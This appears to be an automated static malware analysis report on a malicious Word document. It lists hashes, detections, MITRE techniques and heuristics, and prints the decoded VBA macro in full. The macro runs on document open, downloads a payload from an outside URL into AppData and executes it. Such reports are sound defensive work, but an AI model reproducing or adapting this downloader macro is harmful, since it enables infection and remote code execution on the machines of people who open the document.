Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 53a7f3343c0a84c7…

MALICIOUS

Office (OLE)

32.5 KB Created: 2018-08-27 19:53:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 130e389772f359275cc92d972626ce2e SHA-1: da8c88f8600c9854e97721ee3a040b3c1cb7ed7f SHA-256: 53a7f3343c0a84c744dd60a282236b4baabeab9313c3dfa1b7db59594fd56751
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate/Decode Files or Information T1071.001 Web Protocols

The sample contains VBA macros, including a Document_Open macro that uses CreateObject and CallByName to execute code. The macro attempts to download a payload from the URL 'https://www.officemsbox365.com/addon' and save it to the AppData directory as 'UserForm1.Label3'. It then executes this downloaded payload using Shell.Application. The embedded URL and the VBA execution techniques strongly indicate a downloader malware.

Heuristics 9

  • ClamAV: Doc.Downloader.Olemal-6668035-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Olemal-6668035-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.officemsbox365.com/addon In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1375 bytes
SHA-256: 160bad445ee460541f1c280043515d84562809c15dfca320b25862e697c618d7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Sub Document_Open()
Dim msOfficeOnlineLeague: Set msOfficeOnlineLeague = CreateObject(UserForm1.Tag)
Dim ck1s: Set ck1s = CreateObject("Adodb.Stream")
msOfficeOnlineLeague.Open "GET", UserForm1.Frame1.Tag, False
msOfficeOnlineLeague.Send
Dim pest
pest = UserForm1.ToggleButton1.Tag + UserForm1.ToggleButton2.Tag
With ck1s
    .Type = 1
    .Open
End With
With ck1s
.write msOfficeOnlineLeague.responseBody
End With

Const ssfAPPDATA = &H1A
Dim oApp
Set oApp = CreateObject("Shell" & ".Application")
Dim sermach
sermach = oApp.NameSpace(ssfAPPDATA).Self.Path

    CallByName ck1s, pest, _
    VbMethod, sermach & "\" + UserForm1.Label3, 2
Shell (sermach & "\" + UserForm1.Label3)

End Sub





Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{0288557E-6361-45DE-9EEF-5CB448330AD4}{DE806259-3A8C-485A-9784-D7D984BED31C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False